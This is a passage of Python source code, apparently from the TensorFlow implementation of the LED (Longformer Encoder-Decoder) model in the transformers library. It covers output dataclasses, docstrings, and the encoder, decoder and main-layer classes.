encoder_hidden_states (`tuple(tf.Tensor)`, *optional*, returned when `output_hidden_states=True` is passed or when `config.output_hidden_states=True`):
Tuple of `tf.Tensor` (one for the output of the embeddings + one for the output of each layer) of shape
`(batch_size, sequence_length, hidden_size)`.
Hidden-states of the encoder at the output of each layer plus the initial embedding outputs.
encoder_attentions (`tuple(tf.Tensor)`, *optional*, returned when `output_attentions=True` is passed or when `config.output_attentions=True`):
Tuple of `tf.Tensor` (one for each layer) of shape `(batch_size, num_heads, sequence_length,
sequence_length)`.
Attentions weights of the encoder, after the attention softmax, used to compute the weighted average in the
self-attention heads.
encoder_global_attentions (`tuple(tf.Tensor)`, *optional*, returned when `output_attentions=True` is passed or when `config.output_attentions=True`):
Tuple of `tf.Tensor` (one for each layer) of shape `(batch_size, num_heads, sequence_length, x)`, where `x`
is the number of tokens with global attention mask.
Global attentions weights after the attention softmax, used to compute the weighted average in the
self-attention heads. Those are the attention weights from every token with global attention to every token
in the sequence.
"""
last_hidden_state: tf.Tensor = None
past_key_values: Optional[List[tf.Tensor]] = None
decoder_hidden_states: Optional[Tuple[tf.Tensor]] = None
decoder_attentions: Optional[Tuple[tf.Tensor]] = None
cross_attentions: Optional[Tuple[tf.Tensor]] = None
encoder_last_hidden_state: Optional[tf.Tensor] = None
encoder_hidden_states: Optional[Tuple[tf.Tensor]] = None
encoder_attentions: Optional[Tuple[tf.Tensor]] = None
encoder_global_attentions: Optional[Tuple[tf.Tensor]] = None
@dataclass
class TFLEDSeq2SeqLMOutput(ModelOutput):
"""
Base class for sequence-to-sequence language models outputs.
Args:
loss (`tf.Tensor` of shape `(1,)`, *optional*, returned when `labels` is provided):
Language modeling loss.
logits (`tf.Tensor` of shape `(batch_size, sequence_length, config.vocab_size)`):
Prediction scores of the language modeling head (scores for each vocabulary token before SoftMax).
past_key_values (`List[tf.Tensor]`, *optional*, returned when `use_cache=True` is passed or when `config.use_cache=True`):
List of `tf.Tensor` of length `config.n_layers`, with each tensor of shape `(2, batch_size, num_heads,
sequence_length, embed_size_per_head)`).
Contains pre-computed hidden-states (key and values in the attention blocks) of the decoder that can be
used (see `past_key_values` input) to speed up sequential decoding.
decoder_hidden_states (`tuple(tf.Tensor)`, *optional*, returned when `output_hidden_states=True` is passed or when `config.output_hidden_states=True`):
Tuple of `tf.Tensor` (one for the output of the embeddings + one for the output of each layer) of shape
`(batch_size, sequence_length, hidden_size)`.
Hidden-states of the decoder at the output of each layer plus the initial embedding outputs.
decoder_attentions (`tuple(tf.Tensor)`, *optional*, returned when `output_attentions=True` is passed or when `config.output_attentions=True`):
Tuple of `tf.Tensor` (one for each layer) of shape `(batch_size, num_heads, sequence_length,
sequence_length)`.
Attentions weights of the decoder, after the attention softmax, used to compute the weighted average in the
self-attention heads.
cross_attentions (`tuple(tf.Tensor)`, *optional*, returned when `output_attentions=True` is passed or when `config.output_attentions=True`):
Tuple of `tf.Tensor` (one for each layer) of shape `(batch_size, num_heads, sequence_length,
sequence_length)`.
Attentions weights of the decoder's cross-attention layer, after the attention softmax, used to compute the
weighted average in the cross-attention heads.
encoder_last_hidden_state (`tf.Tensor` of shape `(batch_size, sequence_length, hidden_size)`, *optional*):
Sequence of hidden-states at the output of the last layer of the encoder of the model.
encoder_hidden_states (`tuple(tf.Tensor)`, *optional*, returned when `output_hidden_states=True` is passed or when `config.output_hidden_states=True`):
Tuple of `tf.Tensor` (one for the output of the embeddings + one for the output of each layer) of shape
`(batch_size, sequence_length, hidden_size)`.
Hidden-states of the encoder at the output of each layer plus the initial embedding outputs.
encoder_attentions (`tuple(tf.Tensor)`, *optional*, returned when `output_attentions=True` is passed or when `config.output_attentions=True`):
Tuple of `tf.Tensor` (one for each layer) of shape `(batch_size, num_heads, sequence_length,
sequence_length)`.
Attentions weights of the encoder, after the attention softmax, used to compute the weighted average in the
self-attention heads.
encoder_global_attentions (`tuple(tf.Tensor)`, *optional*, returned when `output_attentions=True` is passed or when `config.output_attentions=True`):
Tuple of `tf.Tensor` (one for each layer) of shape `(batch_size, num_heads, sequence_length, x)`, where `x`
is the number of tokens with global attention mask.
Global attentions weights after the attention softmax, used to compute the weighted average in the
self-attention heads. Those are the attention weights from every token with global attention to every token
in the sequence.
"""
loss: Optional[tf.Tensor] = None
logits: tf.Tensor = None
past_key_values: Optional[List[tf.Tensor]] = None
decoder_hidden_states: Optional[Tuple[tf.Tensor]] = None
decoder_attentions: Optional[Tuple[tf.Tensor]] = None
cross_attentions: Optional[Tuple[tf.Tensor]] = None
encoder_last_hidden_state: Optional[tf.Tensor] = None
encoder_hidden_states: Optional[Tuple[tf.Tensor]] = None
encoder_attentions: Optional[Tuple[tf.Tensor]] = None
encoder_global_attentions: Optional[Tuple[tf.Tensor]] = None
LED_START_DOCSTRING = r"""
This model inherits from [`TFPreTrainedModel`]. Check the superclass documentation for the generic methods the
library implements for all its model (such as downloading or saving, resizing the input embeddings, pruning heads
etc.)
This model is also a [tf.keras.Model](https://www.tensorflow.org/api_docs/python/tf/keras/Model) subclass. Use it
as a regular TF 2.0 Keras Model and refer to the TF 2.0 documentation for all matter related to general usage and
behavior.
<Tip>
TensorFlow models and layers in `transformers` accept two formats as input:
- having all inputs as keyword arguments (like PyTorch models), or
- having all inputs as a list, tuple or dict in the first positional argument.
The reason the second format is supported is that Keras methods prefer this format when passing inputs to models
and layers. Because of this support, when using methods like `model.fit()` things should "just work" for you - just
pass your inputs and labels in any format that `model.fit()` supports! If, however, you want to use the second
format outside of Keras methods like `fit()` and `predict()`, such as when creating your own layers or models with
the Keras `Functional` API, there are three possibilities you can use to gather all the input Tensors in the first
positional argument:
- a single Tensor with `input_ids` only and nothing else: `model(input_ids)`
- a list of varying length with one or several input Tensors IN THE ORDER given in the docstring:
`model([input_ids, attention_mask])` or `model([input_ids, attention_mask, token_type_ids])`
- a dictionary with one or several input Tensors associated to the input names given in the docstring:
`model({"input_ids": input_ids, "token_type_ids": token_type_ids})`
Note that when creating models and layers with
[subclassing](https://keras.io/guides/making_new_layers_and_models_via_subclassing/) then you don't need to worry
about any of this, as you can just pass inputs like you would to any other Python function!
</Tip>
Args:
config ([`LEDConfig`]): Model configuration class with all the parameters of the model.
Initializing with a config file does not load the weights associated with the model, only the
configuration. Check out the [`~TFPreTrainedModel.from_pretrained`] method to load the model weights.
"""
LED_INPUTS_DOCSTRING = r"""
Args:
input_ids (`tf.Tensor` of shape `({0})`):
Indices of input sequence tokens in the vocabulary.
Indices can be obtained using [`BertTokenizer`]. See [`PreTrainedTokenizer.encode`] and
[`PreTrainedTokenizer.__call__`] for details.
[What are input IDs?](../glossary#input-ids)
attention_mask (`tf.Tensor` of shape `({0})`, *optional*):
Mask to avoid performing attention on padding token indices. Mask values selected in `[0, 1]`:
- 1 for tokens that are **not masked**,
- 0 for tokens that are **masked**.
[What are attention masks?](../glossary#attention-mask)
decoder_input_ids (`tf.LongTensor` of shape `(batch_size, target_sequence_length)`, *optional*):
Indices of decoder input sequence tokens in the vocabulary.
Indices can be obtained using [`LedTokenizer`]. See [`PreTrainedTokenizer.encode`] and
[`PreTrainedTokenizer.__call__`] for details.
[What are input IDs?](../glossary#input-ids)
LED uses the `eos_token_id` as the starting token for `decoder_input_ids` generation. If `past_key_values`
is used, optionally only the last `decoder_input_ids` have to be input (see `past_key_values`).
decoder_attention_mask (`tf.Tensor` of shape `(batch_size, target_sequence_length)`, *optional*):
will be made by default and ignore pad tokens. It is not recommended to set this for most use cases.
head_mask (`tf.Tensor` of shape `(encoder_layers, encoder_attention_heads)`, *optional*):
Mask to nullify selected heads of the attention modules in the encoder. Mask values selected in `[0, 1]`:
- 1 indicates the head is **not masked**,
- 0 indicates the head is **masked**.
decoder_head_mask (`tf.Tensor` of shape `(decoder_layers, decoder_attention_heads)`, *optional*):
Mask to nullify selected heads of the attention modules in the decoder. Mask values selected in `[0, 1]`:
- 1 indicates the head is **not masked**,
- 0 indicates the head is **masked**.
encoder_outputs (`tf.FloatTensor`, *optional*):
hidden states at the output of the last layer of the encoder. Used in the cross-attention of the decoder.
of shape `(batch_size, sequence_length, hidden_size)` is a sequence of
past_key_values (`Tuple[Tuple[tf.Tensor]]` of length `config.n_layers`)
contains precomputed key and value hidden states of the attention blocks. Can be used to speed up decoding.
If `past_key_values` are used, the user can optionally input only the last `decoder_input_ids` (those that
don't have their past key value states given to this model) of shape `(batch_size, 1)` instead of all
`decoder_input_ids` of shape `(batch_size, sequence_length)`.
use_cache (`bool`, *optional*, defaults to `True`):
If set to `True`, `past_key_values` key value states are returned and can be used to speed up decoding (see
`past_key_values`). Set to `False` during training, `True` during generation
output_attentions (`bool`, *optional*):
Whether or not to return the attentions tensors of all attention layers. See `attentions` under returned
tensors for more detail. This argument can be used only in eager mode, in graph mode the value in the
config will be used instead.
output_hidden_states (`bool`, *optional*):
Whether or not to return the hidden states of all layers. See `hidden_states` under returned tensors for
more detail. This argument can be used only in eager mode, in graph mode the value in the config will be
used instead.
return_dict (`bool`, *optional*):
Whether or not to return a [`~utils.ModelOutput`] instead of a plain tuple. This argument can be used in
eager mode, in graph mode the value will always be set to True.
training (`bool`, *optional*, defaults to `False`):
Whether or not to use the model in training mode (some modules like dropout modules have different
behaviors between training and evaluation).
"""
@keras_serializable
class TFLEDEncoder(tf.keras.layers.Layer):
config_class = LEDConfig
"""
Transformer encoder consisting of *config.encoder_layers* self-attention layers. Each layer is a
[`TFLEDEncoderLayer`].
Args:
config: LEDConfig
"""
def __init__(self, config: LEDConfig, embed_tokens: Optional[tf.keras.layers.Embedding] = None, **kwargs):
super().__init__(**kwargs)
self.config = config
self.dropout = tf.keras.layers.Dropout(config.dropout)
if config.encoder_layerdrop > 0:
logger.warning("Layerdrop is currently disabled in TFLED models.")
self.layerdrop = 0.0
self.padding_idx = config.pad_token_id
if isinstance(config.attention_window, int):
assert config.attention_window % 2 == 0, "`config.attention_window` has to be an even value"
assert config.attention_window > 0, "`config.attention_window` has to be positive"
config.attention_window = [config.attention_window] * config.num_hidden_layers # one value per layer
else:
assert len(config.attention_window) == config.num_hidden_layers, (
"`len(config.attention_window)` should equal `config.num_hidden_layers`. "
f"Expected {config.num_hidden_layers}, given {len(config.attention_window)}"
)
self.attention_window = config.attention_window
self.embed_tokens = embed_tokens
self.embed_positions = TFLEDLearnedPositionalEmbedding(
config.max_encoder_position_embeddings,
config.d_model,
name="embed_positions",
)
self.layers = [TFLEDEncoderLayer(config, i, name=f"layers.{i}") for i in range(config.encoder_layers)]
self.layernorm_embedding = tf.keras.layers.LayerNormalization(epsilon=1e-5, name="layernorm_embedding")
def get_embed_tokens(self):
return self.embed_tokens
def set_embed_tokens(self, embed_tokens):
self.embed_tokens = embed_tokens
@unpack_inputs
def call(
self,
input_ids=None,
inputs_embeds=None,
attention_mask=None,
global_attention_mask=None,
head_mask=None,
output_attentions=None,
output_hidden_states=None,
return_dict=None,
training=False,
):
"""
Args:
input_ids (`tf.Tensor` of shape `(batch_size, sequence_length)`):
Indices of input sequence tokens in the vocabulary. Padding will be ignored by default should you
provide it.
Indices can be obtained using [`AutoTokenizer`]. See [`PreTrainedTokenizer.encode`] and
[`PreTrainedTokenizer.__call__`] for details.
[What are input IDs?](../glossary#input-ids)
attention_mask (`tf.Tensor` of shape `(batch_size, sequence_length)`, *optional*):
Mask to avoid performing attention on padding token indices. Mask values selected in `[0, 1]`:
- 1 for tokens that are **not masked**,
- 0 for tokens that are **masked**.
[What are attention masks?](../glossary#attention-mask)
head_mask (`tf.Tensor` of shape `(num_layers, num_heads)`, *optional*):
Mask to nullify selected heads of the attention modules. Mask values selected in `[0, 1]`:
- 1 indicates the head is **not masked**,
- 0 indicates the head is **masked**.
inputs_embeds (`tf.Tensor` of shape `(batch_size, sequence_length, hidden_size)`, *optional*):
Optionally, instead of passing `input_ids` you can choose to directly pass an embedded representation.
This is useful if you want more control over how to convert `input_ids` indices into associated vectors
than the model's internal embedding lookup matrix.
output_attentions (`bool`, *optional*):
Whether or not to return the attentions tensors of all attention layers. See `attentions` under
returned tensors for more detail.
output_hidden_states (`bool`, *optional*):
Whether or not to return the hidden states of all layers. See `hidden_states` under returned tensors
for more detail.
return_dict (`bool`, *optional*):
Whether or not to return a [`~utils.ModelOutput`] instead of a plain tuple.
"""
if input_ids is not None and inputs_embeds is not None:
raise ValueError("You cannot specify both input_ids and inputs_embeds at the same time")
elif input_ids is not None:
input_shape = shape_list(input_ids)
# if `self.embed_tokens.load_weight_prefix` is set, runs the embedding operation with the correct name
# scope, so that its weights are registered with the desired name for loading/storing. When `tf.name_scope`
# is used with a name ending in `/`, that name replaces the current name scope.
# (embeddings with tf.name_scope: self.embed_tokens.load_weight_prefix/self.embed_tokens.name/embeddings:0)
context = []
if hasattr(self.embed_tokens, "load_weight_prefix"):
context.append(tf.name_scope(self.embed_tokens.load_weight_prefix + "/"))
with ContextManagers(context):
# Note: tf.gather, on which the embedding layer is based, won't check positive out of bound
# indices on GPU, returning zeros instead. This is a dangerous silent behavior.
tf.debugging.assert_less(
input_ids,
tf.cast(self.embed_tokens.input_dim, dtype=input_ids.dtype),
message=(
"input_ids must be smaller than the embedding layer's input dimension (got"
f" {tf.math.reduce_max(input_ids)} >= {self.embed_tokens.input_dim})"
),
)
inputs_embeds = self.embed_tokens(input_ids)
elif inputs_embeds is not None:
input_shape = shape_list(inputs_embeds)[:-1]
else:
raise ValueError("You have to specify either input_ids or inputs_embeds")
if attention_mask is None:
attention_mask = tf.fill(input_shape, 1)
# merge `global_attention_mask` and `attention_mask`
if global_attention_mask is not None:
attention_mask = attention_mask * tf.cast((global_attention_mask + 1), dtype=attention_mask.dtype)
padding_len, input_ids, attention_mask, inputs_embeds = self._pad_to_window_size(
input_ids=input_ids,
attention_mask=attention_mask,
inputs_embeds=inputs_embeds,
pad_token_id=self.padding_idx,
)
input_shape = shape_list(attention_mask)
# is index masked or global attention
is_index_masked = tf.math.less(tf.cast(attention_mask, tf.int8), 1)
is_index_global_attn = tf.math.greater(tf.cast(attention_mask, tf.int8), 1)
is_global_attn = tf.math.reduce_any(is_index_global_attn)
embed_pos = self.embed_positions(input_shape)
hidden_states = inputs_embeds + embed_pos
hidden_states = self.layernorm_embedding(hidden_states)
hidden_states = self.dropout(hidden_states, training=training)
# check attention mask and invert
if attention_mask is not None:
# [bsz, seq_len] -> [bsz, 1, tgt_seq_len, src_seq_len]
attention_mask = _expand_mask(attention_mask)[:, 0, 0, :]
attention_mask = attention_mask[:, :, None, None]
encoder_states = () if output_hidden_states else None
all_attentions = all_global_attentions = () if output_attentions else None
# check if head_mask has a correct number of layers specified if desired
if head_mask is not None:
tf.debugging.assert_equal(
shape_list(head_mask)[0],
len(self.layers),
message=(
f"The head_mask should be specified for {len(self.layers)} layers, but it is for"
f" {shape_list(head_mask)[0]}."
),
)
# encoder layers
for idx, encoder_layer in enumerate(self.layers):
if output_hidden_states:
hidden_states_to_add = self.compute_hidden_states(hidden_states, padding_len)
encoder_states = encoder_states + (hidden_states_to_add,)
# add LayerDrop (see https://arxiv.org/abs/1909.11556 for description)
dropout_probability = random.uniform(0, 1)
if training and (dropout_probability < self.layerdrop): # skip the layer
continue
layer_outputs = encoder_layer(
hidden_states=hidden_states,
attention_mask=attention_mask,
layer_head_mask=head_mask[idx] if head_mask is not None else None,
is_index_masked=is_index_masked,
is_index_global_attn=is_index_global_attn,
is_global_attn=is_global_attn,
)
hidden_states = layer_outputs[0]
if output_attentions:
# bzs x seq_len x num_attn_heads x (num_global_attn + attention_window_len + 1) => bzs x num_attn_heads x seq_len x (num_global_attn + attention_window_len + 1)
all_attentions = all_attentions + (tf.transpose(layer_outputs[1], (0, 2, 1, 3)),)
# bzs x num_attn_heads x num_global_attn x seq_len => bzs x num_attn_heads x seq_len x num_global_attn
all_global_attentions = all_global_attentions + (tf.transpose(layer_outputs[2], (0, 1, 3, 2)),)
# undo padding
# unpad `hidden_states` because the calling function is expecting a length == input_ids.size(1)
hidden_states = self.compute_hidden_states(hidden_states, padding_len)
# undo padding
if output_attentions:
all_attentions = (
tuple([state[:, :, :-padding_len, :] for state in all_attentions])
if padding_len > 0
else all_attentions
)
if output_hidden_states:
encoder_states = encoder_states + (hidden_states,)
if not return_dict:
return tuple(v for v in [hidden_states, encoder_states, all_attentions] if v is not None)
return TFLEDEncoderBaseModelOutput(
last_hidden_state=hidden_states,
hidden_states=encoder_states,
attentions=all_attentions,
global_attentions=all_global_attentions,
)
@tf.function
def compute_hidden_states(self, hidden_states, padding_len):
return hidden_states[:, :-padding_len] if padding_len > 0 else hidden_states
def _pad_to_window_size(
self,
input_ids,
attention_mask,
inputs_embeds,
pad_token_id,
):
"""A helper function to pad tokens and mask to work with implementation of Longformer selfattention."""
# padding
attention_window = (
self.attention_window if isinstance(self.attention_window, int) else max(self.attention_window)
)
assert attention_window % 2 == 0, f"`attention_window` should be an even value. Given {attention_window}"
input_shape = shape_list(input_ids) if input_ids is not None else shape_list(inputs_embeds)
batch_size, seq_len = input_shape[:2]
padding_len = (attention_window - seq_len % attention_window) % attention_window
if padding_len > 0:
logger.info(
f"Input ids are automatically padded from {seq_len} to {seq_len + padding_len} to be a multiple of "
f"`config.attention_window`: {attention_window}"
)
paddings = tf.convert_to_tensor([[0, 0], [0, padding_len]])
if input_ids is not None:
input_ids = tf.pad(input_ids, paddings, constant_values=pad_token_id)
if inputs_embeds is not None:
def pad_embeddings():
input_ids_padding = tf.fill((batch_size, padding_len), pad_token_id)
inputs_embeds_padding = self.embed_tokens(input_ids_padding)
return tf.concat([inputs_embeds, inputs_embeds_padding], axis=-2)
inputs_embeds = tf.cond(tf.math.greater(padding_len, 0), pad_embeddings, lambda: inputs_embeds)
attention_mask = tf.pad(attention_mask, paddings, constant_values=False) # no attention on the padding tokens
return (
padding_len,
input_ids,
attention_mask,
inputs_embeds,
)
@keras_serializable
class TFLEDDecoder(tf.keras.layers.Layer):
config_class = LEDConfig
"""
Transformer decoder consisting of *config.decoder_layers* layers. Each layer is a [`TFLEDDecoderLayer`]
Args:
config: LEDConfig
embed_tokens: output embedding
"""
def __init__(self, config: LEDConfig, embed_tokens: Optional[tf.keras.layers.Embedding] = None, **kwargs):
super().__init__(**kwargs)
self.config = config
self.padding_idx = config.pad_token_id
self.embed_tokens = embed_tokens
if config.decoder_layerdrop > 0:
logger.warning("Layerdrop is currently disabled in TFLED models.")
self.layerdrop = 0.0
self.embed_positions = TFLEDLearnedPositionalEmbedding(
config.max_decoder_position_embeddings,
config.d_model,
name="embed_positions",
)
self.layers = [TFLEDDecoderLayer(config, name=f"layers.{i}") for i in range(config.decoder_layers)]
self.layernorm_embedding = tf.keras.layers.LayerNormalization(epsilon=1e-5, name="layernorm_embedding")
self.dropout = tf.keras.layers.Dropout(config.dropout)
def set_embed_tokens(self, embed_tokens):
self.embed_tokens = embed_tokens
@unpack_inputs
def call(
self,
input_ids=None,
inputs_embeds=None,
attention_mask=None,
encoder_hidden_states=None,
encoder_attention_mask=None,
head_mask=None,
encoder_head_mask=None,
past_key_values=None,
use_cache=None,
output_attentions=None,
output_hidden_states=None,
return_dict=None,
training=False,
):
r"""
Args:
input_ids (`tf.Tensor` of shape `(batch_size, sequence_length)`):
Indices of input sequence tokens in the vocabulary. Padding will be ignored by default should you
provide it. Indices can be obtained using [`AutoTokenizer`]. See [`PreTrainedTokenizer.encode`] and
[`PreTrainedTokenizer.__call__`] for details. [What are input IDs?](../glossary#input-ids)
attention_mask (`tf.Tensor` of shape `(batch_size, sequence_length)`, *optional*):
Mask to avoid performing attention on padding token indices. Mask values selected in `[0, 1]`:
- 1 for tokens that are **not masked**,
- 0 for tokens that are **masked**.
[What are attention masks?](../glossary#attention-mask)
encoder_hidden_states (`tf.Tensor` of shape `(batch_size, encoder_sequence_length, hidden_size)`, *optional*):
Sequence of hidden-states at the output of the last layer of the encoder. Used in the cross-attention
of the decoder.
encoder_attention_mask (`tf.Tensor` of shape `(batch_size, encoder_sequence_length)`, *optional*):
Mask to avoid performing cross-attention on padding tokens indices of encoder input_ids. Mask values
selected in `[0, 1]`:
- 1 for tokens that are **not masked**,
- 0 for tokens that are **masked**.
[What are attention masks?](../glossary#attention-mask)
head_mask (`tf.Tensor` of shape `(decoder_layers, decoder_attention_heads)`, *optional*):
Mask to nullify selected heads of the attention modules. Mask values selected in `[0, 1]`:
- 1 indicates the head is **not masked**,
- 0 indicates the head is **masked**.
encoder_head_mask (`tf.Tensor` of shape `(encoder_layers, encoder_attention_heads)`, *optional*):
Mask to nullify selected heads of the attention modules in encoder to avoid performing cross-attention
on hidden heads. Mask values selected in `[0, 1]`:
- 1 indicates the head is **not masked**,
- 0 indicates the head is **masked**.
past_key_values (`Tuple[Tuple[tf.Tensor]]` of length `config.n_layers` with each tuple having 2 tuples each of which has 2 tensors of shape `(batch_size, num_heads, sequence_length - 1, embed_size_per_head)`):
Contains precomputed key and value hidden-states of the attention blocks. Can be used to speed up
decoding. If `past_key_values` are used, the user can optionally input only the last
`decoder_input_ids` (those that don't have their past key value states given to this model) of shape
`(batch_size, 1)` instead of all `decoder_input_ids` of shape `(batch_size, sequence_length)`.
inputs_embeds (`tf.Tensor` of shape `(batch_size, sequence_length, hidden_size)`, *optional*):
Optionally, instead of passing `input_ids` you can choose to directly pass an embedded representation.
This is useful if you want more control over how to convert `input_ids` indices into associated vectors
than the model's internal embedding lookup matrix.
output_attentions (`bool`, *optional*):
Whether or not to return the attentions tensors of all attention layers. See `attentions` under
returned tensors for more detail.
output_hidden_states (`bool`, *optional*):
Whether or not to return the hidden states of all layers. See `hidden_states` under returned tensors
for more detail.
return_dict (`bool`, *optional*):
Whether or not to return a [`~utils.ModelOutput`] instead of a plain tuple.
"""
if input_ids is not None and inputs_embeds is not None:
raise ValueError("You cannot specify both decoder_input_ids and decoder_inputs_embeds at the same time")
elif input_ids is not None:
input_shape = shape_list(input_ids)
elif inputs_embeds is not None:
input_shape = shape_list(inputs_embeds)[:-1]
else:
raise ValueError("You have to specify either decoder_input_ids or decoder_inputs_embeds")
past_key_values_length = shape_list(past_key_values[0][0])[2] if past_key_values is not None else 0
# embed positions
positions = self.embed_positions(input_shape, past_key_values_length)
if inputs_embeds is None:
# if `self.embed_tokens.load_weight_prefix` is set, runs the embedding operation with the correct name
# scope, so that its weights are registered with the desired name for loading/storing. When `tf.name_scope`
# is used with a name ending in `/`, that name replaces the current name scope.
# (embeddings with tf.name_scope: self.embed_tokens.load_weight_prefix/self.embed_tokens.name/embeddings:0)
context = []
if hasattr(self.embed_tokens, "load_weight_prefix"):
context.append(tf.name_scope(self.embed_tokens.load_weight_prefix + "/"))
with ContextManagers(context):
# Note: tf.gather, on which the embedding layer is based, won't check positive out of bound
# indices on GPU, returning zeros instead. This is a dangerous silent behavior.
tf.debugging.assert_less(
input_ids,
tf.cast(self.embed_tokens.input_dim, dtype=input_ids.dtype),
message=(
"input_ids must be smaller than the embedding layer's input dimension (got"
f" {tf.math.reduce_max(input_ids)} >= {self.embed_tokens.input_dim})"
),
)
inputs_embeds = self.embed_tokens(input_ids)
hidden_states = inputs_embeds
# [bsz, seq_len] -> [bsz, 1, tgt_seq_len, src_seq_len]
if input_shape[-1] > 1:
combined_attention_mask = _make_causal_mask(input_shape, past_key_values_length=past_key_values_length)
else:
combined_attention_mask = _expand_mask(
tf.ones((input_shape[0], input_shape[1] + past_key_values_length)), tgt_len=input_shape[-1]
)
if attention_mask is not None and input_shape[-1] > 1:
combined_attention_mask = combined_attention_mask + _expand_mask(attention_mask, tgt_len=input_shape[-1])
if encoder_hidden_states is not None and encoder_attention_mask is not None:
# [bsz, seq_len] -> [bsz, 1, tgt_seq_len, src_seq_len]
encoder_attention_mask = _expand_mask(encoder_attention_mask, tgt_len=input_shape[-1])
hidden_states = self.layernorm_embedding(hidden_states + positions)
hidden_states = self.dropout(hidden_states, training=training)
# decoder layers
all_hidden_states = ()
all_self_attns = ()
all_cross_attentions = ()
present_key_values = ()
# check if head_mask has a correct number of layers specified if desired
if head_mask is not None:
tf.debugging.assert_equal(
shape_list(head_mask)[0],
len(self.layers),
message=(
f"The head_mask should be specified for {len(self.layers)} layers, but it is for"
f" {shape_list(head_mask)[0]}."
),
)
for idx, decoder_layer in enumerate(self.layers):
# add LayerDrop (see https://arxiv.org/abs/1909.11556 for description)
if output_hidden_states:
all_hidden_states += (hidden_states,)
dropout_probability = random.uniform(0, 1)
if training and (dropout_probability < self.layerdrop):
continue
past_key_value = past_key_values[idx] if past_key_values is not None else None
hidden_states, layer_self_attn, layer_cross_attn, present_key_value = decoder_layer(
hidden_states,
attention_mask=combined_attention_mask,
encoder_hidden_states=encoder_hidden_states,
encoder_attention_mask=encoder_attention_mask,
layer_head_mask=head_mask[idx] if head_mask is not None else None,
encoder_layer_head_mask=encoder_head_mask[idx] if encoder_head_mask is not None else None,
past_key_value=past_key_value,
)
if use_cache:
present_key_values += (present_key_value,)
if output_attentions:
all_self_attns += (layer_self_attn,)
all_cross_attentions += (layer_cross_attn,)
if output_hidden_states:
all_hidden_states += (hidden_states,)
else:
all_hidden_states = None
all_self_attns = all_self_attns if output_attentions else None
all_cross_attentions = all_cross_attentions if output_attentions else None
present_key_values = present_key_values if use_cache else None
if not return_dict:
return tuple(
v
for v in [hidden_states, present_key_values, all_hidden_states, all_self_attns, all_cross_attentions]
if v is not None
)
else:
return TFBaseModelOutputWithPastAndCrossAttentions(
last_hidden_state=hidden_states,
past_key_values=present_key_values,
hidden_states=all_hidden_states,
attentions=all_self_attns,
cross_attentions=all_cross_attentions,
)
@keras_serializable
class TFLEDMainLayer(tf.keras.layers.Layer):
config_class = LEDConfig
def __init__(self, config: LEDConfig, **kwargs):
super().__init__(**kwargs)
self.config = config
self.shared = tf.keras.layers.Embedding(
input_dim=config.vocab_size,
output_dim=config.d_model,
embeddings_initializer=tf.keras.initializers.TruncatedNormal(stddev=self.config.init_std),
name="led.shared",
)
# Additional attribute to specify the expected name scope of the layer (for loading/storing weights)
self.shared.load_weight_prefix = "led.shared"
self.encoder = TFLEDEncoder(config, self.shared, name="encoder")
self.decoder = TFLEDDecoder(config, self.shared, name="decoder")
def get_input_embeddings(self):
return self.shared
def set_input_embeddings(self, new_embeddings):
self.shared = new_embeddings
self.encoder.embed_tokens = self.shared
self.decoder.embed_tokens = self.shared
@unpack_inputs
def call(
self,
input_ids=None,
attention_mask=None,
decoder_input_ids=None,
decoder_attention_mask=None,
head_mask=None,
decoder_head_mask=None,
encoder_outputs: Optional[Union[Tuple, TFLEDEncoderBaseModelOutput]] = None,
global_attention_mask=None,
past_key_values=None,
inputs_embeds=None,
decoder_inputs_embeds=None,
use_cache=None,
output_attentions=None,
output_hidden_states=None,
return_dict=None,
training=False,
**kwargs,
):
if decoder_input_ids is None and decoder_inputs_embeds is None:
use_cache = False
if encoder_outputs is None:
encoder_outputs = self.encoder(
input_ids=input_ids,
attention_mask=attention_mask,
global_attention_mask=global_attention_mask,
head_mask=head_mask,
inputs_embeds=inputs_embeds,
output_attentions=output_attentions,
output_hidden_states=output_hidden_states,
return_dict=return_dict,
training=training,
)
# If the user passed a tuple for encoder_outputs, we wrap it in a TFLEDEncoderBaseModelOutput when return_dict=True
elif return_dict and not isinstance(encoder_outputs, TFLEDEncoderBaseModelOutput):
encoder_outputs = TFLEDEncoderBaseModelOutput(
last_hidden_state=encoder_outputs[0],
hidden_states=encoder_outputs[1] if len(encoder_outputs) > 1 else None,
attentions=encoder_outputs[2] if len(encoder_outputs) > 2 else None,
)
# If the user passed a TFLEDEncoderBaseModelOutput for encoder_outputs, we wrap it in a tuple when return_dict=False
elif not return_dict and not isinstance(encoder_outputs, tuple):
encoder_outputs = encoder_outputs.to_tuple()
decoder_outputs = self.decoder(
decoder_input_ids,
attention_mask=decoder_attention_mask,
encoder_hidden_states=encoder_outputs[0],
encoder_attention_mask=attention_mask,
head_mask=decoder_head_mask,
encoder_head_mask=head_mask,
past_key_values=past_key_values,
inputs_embeds=decoder_inputs_embeds,
use_cache=use_cache,
output_attentions=output_attentions,
output_hidden_states=output_hidden_states,
return_dict=return_dict,
training=training,
)
if not return_dict:
return decoder_outputs + encoder_outputs
return TFLEDSeq2SeqModelOutput(
last_hidden_state=decoder_outputs.last_hidden_state,
past_key_values=decoder_outputs.past_key_values,
decoder_hidden_states=decoder_outputs.hidden_states,
decoder_attentions=decoder_outputs.attentions,
cross_attentions=decoder_outputs.cross_attentions,
encoder_last_hidden_state=encoder_outputs.last_hidden_state,
encoder_hidden_states=encoder_outputs.hidden_states,
encoder_attentions=encoder_outputs.attentions,
encoder_global_attentions=encoder_outputs.global_attentions,
)
@add_start_docstrings(
"The bare LED Model outputting raw hidden-states without any specific head on top.",
LED_START_DOCSTRING,
)
class TFLEDModel(TFLEDPreTrainedModel):
def __init__(self, config, *inputs, **kwargs):
super().__init__(config, *inputs, **kwargs)
self.led = TFLEDMainLayer(config, name="led")
def get_encoder(self):
return self.led.encoder
def get_decoder(self):
return self.led.decoder
@unpack_inputs
@add_start_docstrings_to_model_forward(LED_INPUTS_DOCSTRING.format("batch_size, sequence_length"))
@add_code_sample_docstrings(
checkpoint=_CHECKPOINT_FOR_DOC,
output_type=TFLEDSeq2SeqModelOutput,
config_class=_CONFIG_FOR_DOC,
)
def call(
self,
input_ids=None,
attention_mask=None,
decoder_input_ids=None,
decoder_attention_mask=None,
head_mask=None,
decoder_head_mask=None,
encoder_outputs: Optional[Union[Tuple, TFLEDEncoderBaseModelOutput]] = None,
global_attention_mask=None,
past_key_values=None,
inputs_embeds=None,
decoder_inputs_embeds=None,
use_cache=None,
output_attentions=None,
output_hidden_states=None,
return_dict=None,
training=False,
**kwargs,
):
outputs = self.led(
input_ids=input_ids,
attention_mask=attention_mask,
